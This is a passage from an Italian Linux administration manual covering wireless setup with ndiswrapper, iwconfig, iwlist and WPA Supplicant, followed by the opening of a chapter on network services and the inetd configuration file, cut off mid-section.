Quando viene usato il programma '**ndiswrapper**' con l'opzione '**-i**', per caricare quello che è noto come un *driver*, in pratica viene creata la directory '`/etc/ndiswrapper/`***nome_driver***`/`', all'interno della quale vengono copiati i file necessari alla gestione di ciò che viene individuato con il nome ***nome_driver***. Pertanto, l'efficacia del caricamento di un *driver* con il programma '**ndiswrapper**' si estende anche attraverso il riavvio del sistema operativo. A titolo di esempio, viene mostrato il caricamento di un certo gestore per verificare cosa accade nella directory '`/etc/ndiswrapper/*/`':

`#` **`ndiswrapper -i WG311v3.INF`** [*Invio*]

`#` **`ndiswrapper -l`** [*Invio*]

```
wg311v3 : driver installed
        device (11AB:1FAA) present
```

`#` **`ls -l /etc/ndiswrapper/wg311v3`** [*Invio*]

```
... 11AB:1FAA.5.conf -> 11AB:1FAA:6B00:1385.5.conf
... 11AB:1FAA:6B00:1385.5.conf
... 11AB:1FAB.5.conf
... wg311v3.inf
... wg311v3xp.sys
```

Fino a che il modulo del kernel di NDISwrapper non è stato caricato, si possono compiere tutte le operazioni che si vogliono con il programma di servizio '**ndiswrapper**'; dopo il caricamento del modulo, è bene evitare qualunque intervento (a parte l'interrogazione dello stato con l'opzione '**-l**'). Pertanto, questo è il significato dello script mostrato inizialmente:

> se il modulo del kernel, denominato '**ndiswrapper**' è già caricato, nulla viene fatto;
>
> altrimenti, vengono rimossi tutti i *driver* che risultano installati nella directory '`/etc/ndiswrapper/`'; quindi vengono caricati tutti i file '`.inf`' contenuti nella directory '`/etc/windows-drivers/wifi/`' e al termine viene caricato anche il modulo '**ndiswrapper**' nella gestione del kernel.

41.11.1 Casi particolari

L'uso di software di gestione delle interfacce di rete senza fili, attraverso NDISwrapper, non è sempre una «passeggiata», pertanto è disponibile una pagina che raccoglie le esperienze dei singoli, organizzata in base al codice dell'hardware. In pratica si procede cercando di individuare tale codice. Nel caso di scheda PCI si usa, logicamente, il programma '**lspci**':

lspci [*Invio*]

```
...
00:0c.0 Ethernet controller: Marvell Technology Group Ltd. ↩
↪88w8335 [Libertas] 802.11b/g Wireless (rev 03)
...
```

lspci -n [*Invio*]

```
...
00:0c.0 0200: 11ab:1faa (rev 03)
...
```

Pertanto, con i due passaggi mostrati, si scopre in questo caso che il codice è $11AB:1FAA_{16}$. Nel caso invece di un'interfaccia connessa attraverso una porta USB, occorre il programma '**lsusb**':

lsusb [*Invio*]

```
...
Bus 001 Device 003: ID 07d1:3c03 D-Link System
...
```

In tal caso, il codice cercato è $07D1:3C03_{16}$.

Con questi dati conviene fare una ricerca, per esempio, con Google, usando la stringa

`ndiswrapper 11AB:1FAA`

Oppure si potrebbe usare direttamente l'indirizzo ⟨*http://www.google.com/search?q=ndiswrapper+11AB%3A1FAA* ⟩.

41.11.2 WINE per estrarre i file

Spesso, i file necessari alla gestione di un'interfaccia di rete senza fili in un sistema MS-Windows possono essere incorporati in un file eseguibile che provvede alla loro installazione. Evidentemente, tale file eseguibile è fatto per un sistema MS-Windows.

In alcuni casi, i contenuti di questi file possono essere estratti dal programma '**cabextract**', in altri semplicemente con '**unzip**'; ma ci sono anche situazioni in cui non è possibile. Quando non ci sono alternative, si può provare a utilizzare WINE per simulare l'installazione di questi file, utilizzando però i privilegi di un utente comune, in modo da ottenere un'installazione a partire dalla directory '`~/.wine/`'.

$ **wine setup.exe** [*Invio*]

È il caso di ricordare che WINE va avviato dal sistema grafico X, pertanto, dovendo dare un comando manuale, va utilizzata una finestra di terminale.

41.12 Utilizzo di «iwconfig»

Per la gestione delle interfacce di rete senza fili, si utilizzano generalmente i programmi del pacchetto Wireless-tools[1] di cui, quello principale è '**iwconfig**':

```
iwconfig [interfaccia]
```

```
iwconfig interfaccia opzione...
```

Le opzioni di '**iwconfig**' non hanno l'aspetto consueto dei programmi di servizio dei sistemi Unix, in quanto si tratta di nomi seguiti da un valore, come fossero valori che si assegnano a una variabile.

Tabella 41.29. Alcune opzioni per l'uso del programma '**iwconfig**'.

Opzione	Descrizione

`essid on`
`essid off|any`
`essid "`***stringa***`"`
	L'opzione '**essid**' consente di attribuire il nome della rete virtuale a cui ci si vuole connettere (ESSID, ovvero *Extended service set id*). Una volta definito si può disattivare con le parole chiave '**off**' o '**any**'.

`mode Managed`
`mode Ad-Hoc`
`mode` ***modalità***
	Definisce la modalità di funzionamento. Quelle principali si ottengono con le parole chiave '**Ad-Hoc**' e '**Managed**'.

`channel` ***n***	Definisce il canale di lavoro. I canali vanno da uno in su e la quantità dipende dalle caratteristiche dell'interfaccia; inoltre, il canale zero indica che l'interfaccia è inattiva. In condizioni normali, questo dato dovrebbe essere individuato automaticamente.
`ap` ***indirizzo***	Consente di specificare l'indirizzo del punto di accesso da raggiungere. In condizioni normali, questo dato dovrebbe essere individuato automaticamente.
`commit`	Si tratta di un comando (e non di un'opzione vera e propria), con cui si richiede all'interfaccia di acquisire la configurazione richiesta, nel caso ciò non avvenga in modo istantaneo.

Viene mostrato un esempio, relativo a un'interfaccia di rete senza fili, da collegare a un punto di accesso che opera con l'identità ESSID «appunti2», sul canale 11 (pari a 2,462 GHz) in chiaro (senza sistemi crittografici).

- `#` **`iwconfig`** [*Invio*]

  Si verifica lo stato delle interfacce di rete senza fili:

```
wlan0     IEEE 802.11g  ESSID:off/any
          Mode:Ad-Hoc  Frequency:2.412 GHz  Cell: Not-Associated
          Bit Rate:2 Mb/s   Sensitivity=-200 dBm
          RTS thr=2346 B   Fragment thr=2346 B
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0
```

- # **iwconfig mode Managed** [*Invio*]

  Si modifica la modalità di funzionamento, in modo da poter utilizzare il punto di accesso:

```
wlan0     IEEE 802.11g  ESSID:off/any
          Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated
          Bit Rate:2 Mb/s   Sensitivity=-200 dBm
          RTS thr=2346 B   Fragment thr=2346 B
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0
```

- # **iwconfig wlan0 essid "appunti2"** [*Invio*]

  Si attribuisce l'identità ESSID «appunti2».

  # **iwconfig wlan0** [*Invio*]

```
wlan0     IEEE 802.11g  ESSID:"appunti2"
          Mode:Managed  Frequency:2.462 GHz  Access Point: 00:0E:2E:E2:C9:BF
          Bit Rate=2 Mb/s   Sensitivity=-200 dBm
          RTS thr=2346 B   Fragment thr=2346 B
          Encryption key:off
          Power Management:off
          Link Quality:53/100  Signal level:-62 dBm  Noise level:-96 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0
```

  Come si vede, gli altri dati vengono determinati automaticamente.

- # **ifconfig wlan0 192.168.21.11** [*Invio*]

  Con l'ausilio di '**ifconfig**', attribuisce un indirizzo IPv4 all'interfaccia di rete.

  # **ifconfig wlan0** [*Invio*]

```
wlan0     Link encap:Ethernet  HWaddr 00:1b:2f:c5:bb:0b
          inet addr:192.168.21.11  Bcast:192.168.21.255  Mask:255.255.255.0
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:169 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:19185 (18.7 KiB)  TX bytes:450 (450.0 B)
          Interrupt:11 Memory:cffb0000-cffc0000
```

Viene mostrato un esempio analogo, relativo a un'interfaccia di rete senza fili, da collegare a una rete priva di punti di accesso, composta pertanto solo da celle in modalità *ad-hoc*, operanti con l'identità ESSID «appunti2», sul canale 11 (pari a 2,462 GHz) in chiaro (senza sistemi crittografici).

- `# iwconfig` [*Invio*]

  Si verifica lo stato delle interfacce di rete senza fili:

```
wlan0     IEEE 802.11g  ESSID:off/any
          Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated
          Bit Rate:2 Mb/s   Sensitivity=-200 dBm
          RTS thr=2346 B   Fragment thr=2346 B
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0
```

- `# iwconfig mode Ad-Hoc` [*Invio*]

  Si modifica la modalità di funzionamento, in modo da non dipendere da punti di accesso:

```
wlan0     IEEE 802.11g  ESSID:off/any
          Mode:Ad-Hoc  Frequency:2.412 GHz  Cell: Not-Associated
          Bit Rate:2 Mb/s   Sensitivity=-200 dBm
          RTS thr=2346 B   Fragment thr=2346 B
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0
```

- `# iwconfig wlan0 essid "appunti2"` [*Invio*]

  Si attribuisce l'identità ESSID «appunti2».

  `# iwconfig wlan0` [*Invio*]

```
wlan0     IEEE 802.11g  ESSID:"appunti2"
          Mode:Ad-Hoc  Frequency:2.462 GHz  Cell: 02:B6:DC:B3:55:C7
          Bit Rate=2 Mb/s   Sensitivity=-200 dBm
          RTS thr=2346 B   Fragment thr=2346 B
          Encryption key:off
          Power Management:off
          Link Quality:53/100  Signal level:-62 dBm  Noise level:-96 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0
```

Come si vede, gli altri dati vengono determinati automaticamente, ma come si può osservare, in questo caso, invece di apparire l'indirizzo della cella del punto di accesso, appare l'indirizzo della cella locale.

- `# ifconfig wlan0 192.168.21.11` [*Invio*]

  Con l'ausilio di '**`ifconfig`**', attribuisce un indirizzo IPv4 all'interfaccia di rete.

  `# ifconfig wlan0` [*Invio*]

```
wlan0     Link encap:Ethernet  HWaddr 00:1b:2f:c5:bb:0b
          inet addr:192.168.21.11  Bcast:192.168.21.255  Mask:255.255.255.0
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:169 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:19185 (18.7 KiB)  TX bytes:450 (450.0 B)
          Interrupt:11 Memory:cffb0000-cffc0000
```

41.13 Utilizzo di «iwlist»

Il programma '**`iwlist`**' che fa sempre parte del pacchetto Wireless-tools, consente di conoscere informazioni più dettagliate sull'interfaccia di rete senza fili, inoltre consente di eseguire una scansione delle celle limitrofe, ovvero dei punti di accesso e dei nodi in modalità *ad-hoc*:

> `iwlist` [***interfaccia***] ***opzione***...

Il nome dell'interfaccia può essere omesso, ma solo se si tratta dell'unica interfaccia presente nell'elaboratore. Per conoscere le opzioni disponibili è sufficiente avviare il programma senza argomenti:

`$ iwlist` [*Invio*]

```
Usage: iwlist [interface] scanning [essid NNN] [last]
              [interface] frequency
              [interface] channel
              [interface] bitrate
              [interface] rate
              [interface] encryption
```

```
[interface] keys
[interface] power
[interface] txpower
[interface] retry
[interface] ap
[interface] accesspoints
[interface] peers
[interface] event
[interface] auth
[interface] wpakeys
[interface] genie
[interface] modulation
```

L'uso più frequente che si fa di '**`iwlist`**' è quello che serve a conoscere i punti di accesso o i nodi *ad-hoc* presenti nella zona, ma in tal caso occorre agire in qualità di utente '**`root`**':

$ **`iwlist wlan0 scanning`** [*Invio*]

```
wlan0     Scan completed :
          Cell 01 - Address: 00:17:C2:4A:9A:6D
                    ESSID:"Alice-26427486"
                    Protocol:IEEE 802.11g
                    Mode:Managed
                    Frequency:2.412 GHz (Channel 1)
                    Quality:7/100  Signal level:-91 dBm  Noise level:-96 dBm
                    Encryption key:on
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
                              24 Mb/s; 36 Mb/s; 54 Mb/s; 6 Mb/s; 9 Mb/s
                              12 Mb/s; 48 Mb/s
                    Extra:bcn_int=100
                    Extra:atim=0
                    IE: WPA Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (1) : TKIP
                        Authentication Suites (1) : PSK
          Cell 02 - Address: 00:0E:2E:E2:C9:BF
                    ESSID:"appunti2"
                    Protocol:IEEE 802.11g
                    Mode:Managed
                    Frequency:2.462 GHz (Channel 11)
                    Quality:37/100  Signal level:-72 dBm  Noise level:-96 dBm
                    Encryption key:off
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                              9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
                              48 Mb/s; 54 Mb/s
                    Extra:bcn_int=100
                    Extra:atim=0
          Cell 03 - Address: 00:1C:A2:69:ED:C3
                    ESSID:"Alice-60478542"
                    Protocol:IEEE 802.11g
                    Mode:Managed
```

```
Frequency:2.437 GHz (Channel 6)
Quality:4/100  Signal level:-93 dBm  Noise level:-96 dBm
Encryption key:on
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
          24 Mb/s; 36 Mb/s; 54 Mb/s; 6 Mb/s; 9 Mb/s
          12 Mb/s; 48 Mb/s
Extra:bcn_int=100
Extra:atim=0
IE: WPA Version 1
    Group Cipher : TKIP
    Pairwise Ciphers (1) : TKIP
    Authentication Suites (1) : PSK
```

41.14 Gestione attraverso WPA Supplicant

Attraverso '**`iwconfig`**' è possibile impostare una comunicazione in chiaro o cifrata attraverso il metodo WEP (*Wired equivalent privacy*), ma non è possibile configurare una cifratura WPA. A questo proposito, di solito si utilizza WPA Supplicant,[2] il quale è costituito da un demone che si inserisce come filtro della comunicazione, al secondo livello del modello ISO/OSI. Attraverso la configurazione di WPA Supplicant è comunque possibile controllare le impostazioni relative all'interfaccia di rete senza fili, anche per ciò che riguarda la cifratura WEP o l'assenza totale di cifratura, pertanto la mediazione di WPA Supplicant può essere usata in ogni caso.

```
wpa_supplicant [opzioni]
```

Quello che si vede è il modello sintattico, molto semplice, per l'avvio del programma, il quale va messo a funzionare sullo sfondo in modo esplicito, con l'opzione '**`-B`**'.

Tabella 41.40. Alcune opzioni per l'uso del programma '**`wpa_supplicant`**'.

Opzione	Descrizione
`-B`	Mette il programma a funzionare sullo sfondo; diversamente il programma rimane in primo piano, bloccando il terminale.
`-i` ***nome_interfaccia***	Dichiara il nome dell'interfaccia per la quale si associa il controllo da parte di '**`wpa_supplicant`**'.
`-c` ***file_di_configurazione***	Dichiara il nome del file di configurazione da associare all'interfaccia di rete senza fili.
`-N`	Indica che le opzioni successive si riferiscono a un'altra interfaccia di rete.

Il file di configurazione di WPA Supplicant può riguardare una sola interfaccia di rete; pertanto, se ci sono più interfacce da gestire, occorrono più file, da specificare espressamente nella riga di comando. A questo proposito, il programma '**`wpa_supplicant`**' può essere avviato in più copie, ovvero una per ogni interfaccia, oppure in una sola istanza, separando le opzioni delle varie interfacce con l'opzione '**`-N`**'. Pertanto, il modello sintattico per l'uso di questo programma potrebbe essere ricordato essenzialmente così:

```
wpa_supplicant [-B] -i interfaccia -c file -N ↩
↪                  [-i interfaccia -c file -N ]↩
↪                  ...
```

Dal momento che il programma '**wpa_supplicant**' viene usato generalmente sullo sfondo, se si vuole cambiare la configurazione, diventa necessario eliminarne il processo elaborativo per poterlo riavviare con i nuovi dati. L'esempio successivo elimina eventuali processi preesistenti e poi ricarica il demone in modo da gestire l'interfaccia '**wlan0**' con il file '/etc/wpa_supplicant/wpa_supplicant.conf':

```
# killall wpa_supplicant [Invio]
```

```
# wpa_supplicant -B -i wlan0 ↩
↪                -c /etc/wpa_supplicant/wpa_supplicant.conf [Invio]
```

41.14.1 Configurazione di WPA Supplicant

Il file di configurazione predefinito di WPA_Supplicant potrebbe essere '/etc/wpa_supplicant/wpa_supplicant.conf', utile però solo se si utilizza un'interfaccia singola. Diversamente va usata necessariamente l'opzione '**-c**' nella riga di comando di '**wpa_supplicant**'. Vengono proposti qui alcuni esempi di configurazione, completi, per le situazioni più comuni e più semplici di utilizzo delle interfacce di rete, ma in ogni caso si tratta di interfacce di rete funzionanti in modalità *managed* che si avvalgono di punti di accesso.

- Il caso più semplice corrisponde a una cella che si deve collegare a un ESSID qualunque, purché la comunicazione avvenga in chiaro:

```
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=root
network={
    ssid=""
    key_mgmt=NONE
}
```

- Per individuare precisamente la rete a cui ci si vuole connettere, basta aggiungere il valore dell'identità ESSID. In questo caso si tratta della stringa '**default**':

```
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=root
network={
    ssid="default"
    key_mgmt=NONE
}
```

- L'esempio successivo riguarda una cifratura di tipo WEP104 (si distingue per avere chiavi da 13 byte), con quattro chiavi, dove la prima è quella da utilizzare in modo predefinito. In questo caso le prime due chiavi sono indicate come stringhe ASCII, mentre quelle rimanenti sono scritte come numero esadecimale:

```
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=root
network={
    ssid="default"
    key_mgmt=NONE
    wep_key0="ciao a tutti!"
    wep_key1="1234567890123"
    wep_key2=0123456789ABCDEF0123456789
    wep_key3=F0123456789ABCDEF012345678
    wep_tx_keyidx=0
}
```

* L'esempio successivo modifica leggermente quello precedente, utilizzando una cifratura di tipo WEP40 (si distingue per avere chiavi da 5 byte), con quattro chiavi, dove la prima è quella da utilizzare in modo predefinito:

```
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=root
network={
    ssid="default"
    key_mgmt=NONE
    wep_key0="ciao!"
    wep_key1="12345"
    wep_key2=0123456789
    wep_key3=F012345678
    wep_tx_keyidx=0
}
```

* L'esempio successivo è una variante dove si usa una cifratura di tipo WPA a chiave segreta (PSK, ovvero *Pre shared key*). La chiave da usare è costituita dalla stringa '**`ciao a tutti voi`**':

```
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=root
network={
    ssid="default"
    key_mgmt=WPA-PSK
    psk="ciao a tutti voi"
}
```

WPA Supplicant può essere configurato in modi molto più complessi, soprattutto per gestire modalità di cifratura e riconoscimento più articolati. Si veda eventualmente *wpa_supplicant.conf(5)*.

41.15 Riferimenti

- IEEE Standard Association, *IEEE 802 LAN/MAN Standards Committee*
  ⟨*http://grouper.ieee.org/groups/802/*⟩
- IEEE Standard Association, *IEEE 802.11™ WIRELESS LOCAL AREA NETWORKS*
  ⟨*http://grouper.ieee.org/groups/802/11/*⟩
- Wikipedia, *Wi-Fi*
  ⟨*http://it.wikipedia.org/wiki/Wi-Fi*⟩
- Wikipedia, *Hotspot (Wi-Fi)*
  ⟨*http://it.wikipedia.org/wiki/Hotspot_%28Wi-Fi%29*⟩
- Wikipedia, *Wireless access point*
  ⟨*http://en.wikipedia.org/wiki/Wireless_access_point*⟩
- Wikipedia, *Wireless local area network*
  ⟨*http://it.wikipedia.org/wiki/Wireless_LAN*⟩
- *Linux wireless networking*
  ⟨*http://www.linuxhomenetworking.com/wiki/index.php/Quick_HOWTO_:_Ch13_:_Linux_Wireless_Networking*⟩

[1] **Wireless-tools** GNU GPL

[2] **WPA Supplicant** GNU GPL oppure BSD

Capitolo 42

Servizi di rete fondamentali

42.1 Supervisore dei servizi di rete 2311

42.1.1 Supervisore dei servizi di rete BSD 2312
42.1.2 TCP wrapper 2315
42.1.3 Dichiarazione all'interno di «/etc/inetd.conf» 2315
42.1.4 Configurazione del TCP wrapper 2316

42.2 RPC: Remote Procedure Call 2318

42.2.1 Informazioni sulle RPC 2319
42.2.2 Controllo sulle RPC 2321

42.3 NFS con i sistemi GNU/Linux 2321

42.3.1 Dal lato del servente 2322
42.3.2 Verifica del servizio 2327
42.3.3 Porte coinvolte 2328
42.3.4 Dal lato del cliente 2328

42.4 NIS 2329

42.4.1 Concentrazione amministrativa del NIS versione 2 2330
42.4.2 Distinzione dei ruoli tra servente e cliente 2332
42.4.3 NIS e DNS 2333
42.4.4 RPC 2334
42.4.5 Allestimento di un servente NIS versioni 1 e 2 2334
42.4.6 Predisposizione del servente secondario 2344
42.4.7 Organizzazione di una distribuzione 2345
42.4.8 Cliente NIS 2346
42.4.9 Directory personali 2351
42.4.10 Porte coinvolte 2351

42.5 DHCP 2351

42.5.1 Sistemazioni generali per il kernel Linux 2352
42.5.2 Rete di competenza e router 2352
42.5.3 Conflitto con il supervisore dei servizi di rete 2353
42.5.4 Servente DHCP ISC 2353
42.5.5 Relè DHCP ISC 2361
42.5.6 Cliente DHCP 2361

42.6 Informazioni sugli utenti della rete 2368

42.6.1 Who remoto 2368
42.6.2 Informazioni attraverso RPC 2369

42.6.3 Finger: informazioni personali 2370

42.7 Accesso remoto 2372

42.7.1 Accesso remoto normale 2374
42.7.2 Shell remota 2375
42.7.3 Copia tra elaboratori 2376

42.8 TELNET 2378

42.8.1 Dal lato del servente 2378
42.8.2 Dal lato del cliente 2379
42.8.3 Colloquiare con una porta 2381

42.9 Trivial FTP 2382

42.9.1 Dal lato del servente 2383
42.9.2 Dal lato del cliente 2383

42.10 Allineamento della data e dell'orario attraverso la rete 2384

42.10.1 Rdate 2384
42.10.2 NTP 2385

42.11 SNMP 2391

42.11.1 Nomi delle variabili, OID e MIB 2391
42.11.2 Note essenziali sul protocollo 2392
42.11.3 Autenticazione e limitazione degli accessi 2392
42.11.4 Interrogazione generica di un servizio SNMP 2393
42.11.5 Interrogazioni più specifiche di un servizio SNMP 2395
42.11.6 Attivazione di un servizio SNMP con NET SNMP 2397
42.11.7 MRTG 2400

42.12 Rsync 2403

42.12.1 Tipi di utilizzo 2403
42.12.2 Origine, destinazione e percorsi 2404
42.12.3 Proprietà dei file 2405
42.12.4 Avvio del programma 2405
42.12.5 Accesso attraverso autenticazione 2411
42.12.6 Servente Rsync 2411
42.12.7 Tempi morti e scadenze 2419

42.13 Riferimenti 2419

.cvsignore 2405 .forward 2372 .plan 2372 .project 2372 .rhosts 2372 .telnetrc 2379 cfgmaker 2400 clock 2384 dhclient 2362 dhclient.conf 2362 dhclient.leases 2362 dhcp.conf 2353 dhcp.leases 2353 dhcp3-server 2358 dhcpcd 2361 dhcpd 2353 dhcrelay 2361 domainname 2335 exportfs 2322 exports 2322 finger 2370 fingerd 2370 hosts.allow 2316 2321 2334 hosts.deny 2316 2321 2334 hosts.equiv 2372 hwclock 2384 in.fingerd 2370 in.rlogind 2374 in.rshd 2375 in.telnetd 2378 in.tftpd 2383 inetd 2312 inetd.conf 2312 2315 issue.net 2378 makedbm 2334 2334 Makefile 2341 mrtg 2400 mrtg.cfg 2400 nis 2345 nisdomainname 2335 nsswitch.conf 2346 2347 ntp.conf 2387 ntpd 2387 ntpdate 2386 portmap 2318 rdate 2384 resolv.conf 2361 rlogin 2374 rlogind 2374 rmtab 2322 rpc 2318 rpc.lockd 2322 rpc.mountd 2322 rpc.nfsd 2322 rpc.rquotad 2322 rpc.rusers 2369 rpc.statd 2322 rpc.yppasswdd 2334 2343 rpc.ypxfrd 2334 2344 rpcinfo 2319 rsh 2375 rsync 2403 rsyncd.conf 2411 rsyncd.secrets 2418 rusers 2369 rwho 2368 rwhod 2368 showmount 2327 snmpbulkwalk 2393 snmpd 2397 snmpd.conf 2397 snmpdf 2395 snmpget 2393 snmpgetnext 2393 snmpnetstat 2395 snmpstatus 2395 snmpwalk 2393 tcpd 2315 telnet 2379 telnetd 2378 telnetrc 2379 tftp 2383 tftpboot/ 2383 tftpd 2383 xntpd 2387 yp.conf 2346 2347 ypbind 2346 2347 ypcat 2349 ypchfn 2349 ypchsh 2349 ypdomainname 2335 ypinit 2341 2341 2344 ypmatch 2349 yppasswd 2349 ypserv 2334 2336 ypserv.conf 2334 2338 ypserv.securenets 2334 2340 ypwhich 2344 2349 ypxfr_1perday 2344 ypxfr_1perhour 2344 ypxfr_2perhour 2344 $CVSIGNORE 2405 $RSYNC_PASSWORD 2411 $RSYNC_RSH 2405

42.1 Supervisore dei servizi di rete

I servizi di rete vengono attivati all'avvio di un sistema GNU comune, attraverso la procedura di inizializzazione del sistema (Init), dopo che sono stati assegnati gli indirizzi alle interfacce di rete e dopo che gli instradamenti sono stati definiti.

I demoni in grado di fornire servizi di rete ricadono in due categorie possibili: autonomi (*standalone*) o gestiti dal supervisore dei servizi di rete, noto anche come *Internet service daemon*. Nel primo caso, si tratta di programmi avviati normalmente che si occupano si stare in ascolto su una certa porta e di provvedere da soli ai controlli necessari contro gli accessi indesiderati. Nel secondo, si tratta di programmi che vengono avviati nel momento in cui ne esiste effettivamente l'esigenza attraverso il supervisore dei servizi di rete, il quale si assume per loro il compito di rimanere in ascolto delle porte di accesso ai servizi che controlla.

La gestione «autonoma» è preferibile quando non è possibile attendere l'avvio di un programma ogni volta che si presenta una richiesta: il caso tipico è dato dal sistema di condivisione dei file system in rete, o NFS. La gestione mediata dal supervisore dei servizi di rete permette di ridurre il carico del sistema, avviando solo i servizi necessari nel momento in cui ne viene fatta richiesta, introducendo eventualmente un controllo ulteriore per l'ammissibilità delle richieste pervenute.

42.1.1 Supervisore dei servizi di rete BSD

«

Ciò che realizza il concetto di supervisore dei servizi di rete è generalmente un programma sotto forma di demone, il quale può raccogliere su di sé tutte le funzionalità necessarie, oppure può affidarle in parte anche ad altre componenti. Il supervisore più comune è quello originario dei sistemi BSD, noto con il nome Inetd.[1]

Inetd, nella sua versione tradizionale dei sistemi BSD, non fa tutto il lavoro da solo, perché affida il controllo sull'ammissibilità degli accessi a quello che è noto come «TCP wrapper». Generalmente, Inetd si concretizza nel demone '**inetd**', mentre il TCP wrapper è costituito dal programma '**tcpd**'.

```
inetd [opzioni] [file_di_configurazione]
```

Di solito, il demone '**inetd**' viene avviato automaticamente dalla procedura di inizializzazione del sistema. Quando è in funzione, si mette in ascolto di un gruppo di porte determinato; quando rivela una comunicazione in una di queste, avvia il servizio corrispondente in base alla propria configurazione. In sostanza, questo demone demanda ad altri programmi specifici la gestione dei servizi richiesti.

La configurazione avviene attraverso il file '/etc/inetd.conf'; al suo interno sono indicati in particolare i programmi per la gestione di servizi di rete specifici. In molti casi, l'avvio di questi programmi viene sottoposto al controllo del TCP wrapper, ovvero di '**tcpd**'. Se si fanno modifiche a questo file e si vuole che abbiano effetto, è necessario inviare a '**inetd**' un segnale di aggancio, ovvero '**SIGHUP**':

```
kill -HUP pid_di_inetd
```

Sotto viene mostrato il contenuto tipico di questo file, così come appare nelle distribuzioni GNU più comuni. La prima cosa da osservare è che il simbolo '**#**', posto all'inizio di una riga, introduce un commento; inoltre, le righe bianche e quelle vuote vengono ignorate. Tutte le altre righe vengono interpretate come direttive di dichiarazione di un servizio particolare.

```
#echo           stream  tcp     nowait  root    internal
#echo           dgram   udp     wait    root    internal
#chargen        stream  tcp     nowait  root    internal
#chargen        dgram   udp     wait    root    internal
discard         stream  tcp     nowait  root    internal
discard         dgram   udp     wait    root    internal
daytime         stream  tcp     nowait  root    internal
#daytime        dgram   udp     wait    root    internal
time            stream  tcp     nowait  root    internal
#time           dgram   udp     wait    root    internal

telnet  stream  tcp     nowait  root    /usr/sbin/tcpd /usr/sbin/telnetd
telnets stream  tcp     nowait  root    /usr/sbin/tcpd /usr/sbin/telnetd
ident   stream  tcp     nowait  root    /usr/sbin/ident2        ident2
rsync   stream  tcp     nowait  root    /usr/bin/rsync rsyncd --daemon
```

Per l'utente medio di un sistema GNU non è necessario approfondire la sintassi di queste direttive in quanto il file viene prodotto automaticamente dagli script di installazione dei pacchetti, corrispondenti ai servizi che si intendono gestire. Tuttavia, quando si vuole avere un controllo maggiore del proprio sistema operativo, la configurazione manuale di questo file non può essere evitata.

Le direttive di questo file sono dei record, corrispondenti in pratica alle righe, suddivisi in campi distinti attraverso spaziature orizzontali (spazi o tabulazioni). L'ultimo campo può contenere anche spazi.

servizio [/*versione*] *tipo_socket* *protocollo* {`wait`|`nowait`} [.*max*] ↩
↪*utente* [.*gruppo*] *programma_del_servizio* *programma_e_argomenti*

1. *servizio* [/*versione*]

   Il primo campo serve a indicare il servizio. Normalmente si fa riferimento a una porta indicata per nome, secondo quanto definito dal file '`/etc/services`'. Se si indica un numero, si fa riferimento direttamente a quel numero di porta.

   Eventualmente può essere indicato un servizio RPC; in tal caso si utilizza un nome secondo quanto riportato nel file '`/etc/rpc`', seguito eventualmente da un barra obliqua e dal numero di versione.

2. *tipo_socket*

   Definisce il tipo di *socket* attraverso diverse parole chiave:

   - '**`stream`**'
   - '**`dgram`**' datagramma
   - '**`raw`**'
   - '**`rdm`**' *reliably delivered message*
   - '**`seqpacket`**' *sequenced packet socket*

3. *protocollo*

   Serve a determinare il tipo di protocollo, utilizzando una parola chiave che si ottiene dal file '`/etc/protocols`'. Si tratta prevalentemente di '**`tcp`**' e '**`udp`**'. Nel caso si vogliano gestire protocolli RPC, questi si indicano come '**`rpc/tcp`**' e '**`rpc/udp`**'.

   Tuttavia c'è un'eccezione, dovuta alla distinzione tra richieste di tipo IPv4 e IPv6: quando si fa riferimento a un protocollo TCP o UDP, le sigle '**`tcp`**' e '**`udp`**' si riferiscono alla versione predefinita (inizialmente quella di IPv4). Per poter gestire sia IPv4, sia IPv6, occorre indicare precisamente le sigle '**`tcp4`**' e '**`udp4`**', oppure '**`tcp6`**' e '**`udp6`**'. Pertanto, supponendo che un certo servizio possa operare sia con IPv4, sia con IPv6, le voci corrispondenti nel file di configurazione si raddoppiano. L'esempio successivo ipotizza

un servizio TELNET, realizzato attraverso il programma '**telnetd**', in grado di operare sia con IPv4, sia con IPv6:

```
telnet stream tcp4 nowait root /usr/sbin/tcpd /usr/sbin/telnetd
telnet stream tcp6 nowait root /usr/sbin/tcpd /usr/sbin/telnetd
```

4. { *wait* | *nowait* } [. *max*]

